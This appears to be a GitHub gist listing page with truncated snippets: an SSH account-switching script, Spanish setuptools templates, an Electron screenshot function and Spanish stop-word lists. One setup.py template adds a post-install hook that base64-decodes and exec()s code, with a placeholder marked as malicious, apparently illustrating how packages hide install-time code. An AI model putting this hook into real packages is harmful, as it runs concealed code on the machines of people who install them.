This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
gh_user="${1:-Nothing}" | |
if [ "$gh_user" == 'USERNAME_1' ]; then | |
ssh-add -D | |
git config --global user.email "USERNAME_1_EMAIL" | |
ssh-add /PRIVATE_KEY_PATH/.ssh/github-USERNAME_1 | |
elif [ "$gh_user" == 'USERNAME_2' ]; then | |
ssh-add -D | |
git config --global user.email "USERNAME_2_EMAIL" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import setuptools | |
with open("README.md", "r", encoding="utf-8") as description: | |
long_description = description.read() | |
setuptools.setup( | |
name="nombre-de-tu-lib", | |
version="0.0.X", | |
author="TU NOMBRE DE AUTORÍA", | |
author_email="TU CORREO", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const electron = require('electron') | |
function takeScreenshot () { | |
electron.remote.getCurrentWindow().capturePage({ | |
x: 0, | |
y: 0, | |
width: 2000, | |
height: 4000, | |
}).then((img) => { | |
dialog.showSaveDialog({ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import setuptools | |
from setuptools.command.install import install | |
class PostInstallCommand(install): | |
def run(self): | |
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('SOME_BASE64_MALICIUS_CODE')[0])) | |
install.run(self) | |
with open("README.md", "r", encoding="utf-8") as description: | |
long_description = description.read() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
stop_words = [ | |
# stop words list | |
] | |
symbols = [ | |
'¿','?','~','`','!','¡','@','#','$','%','^', | |
'*','(',')','_','-','+','=','{','}','[', | |
']','\\',':',';','<','>','/', '.', ',','&','\n' | |
,'\r','\t', '|', '“', '"', '–', '”', '©', '-', '—', | |
'…', ';', '‘','’' | |
] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a | |
actualmente | |
adelante | |
además | |
afirmó | |
agregó | |
ahora | |
ahí | |
al | |
algo |